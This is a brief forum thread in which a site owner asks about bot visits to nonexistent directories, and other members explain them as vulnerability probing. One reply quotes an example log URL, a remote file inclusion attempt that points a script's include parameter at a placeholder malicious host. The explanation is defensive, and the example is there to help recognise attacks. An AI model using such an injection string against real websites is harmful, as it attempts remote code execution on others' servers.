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robfenn's picture
Developer

He has: 468 posts

Joined: Jun 2005

Hi Guys,

Was looking at our Analytics and it shows that there has been loads of visits to directories that don't actually exist, such as variations of '/html/5.' Some are visited many times.. are these bots just trying to find vulnerabilities? Should i be worried?

Cheers,

Rob

pr0gr4mm3r's picture
ModeratorSponsor

He has: 823 posts

Joined: Sep 2006

I will often find weird HTTP requests, but they usually include malicious query strings. Check your logs and see if it's something like:

http://yoursite.com/somescript.php?include=http://somemalicioussite/some...

If you find links like that in your log, it means that somebody is trying to find a remote script execution vulnerability. It's nothing to worry about as long as your code is secure and up to date.

demonhale's picture

He has: 3,301 posts

Joined: May 2005

that's basically a good tip from programmer on checking your log files. But I thought at first that when you said web log, it was blog...

Also check for frame use on site...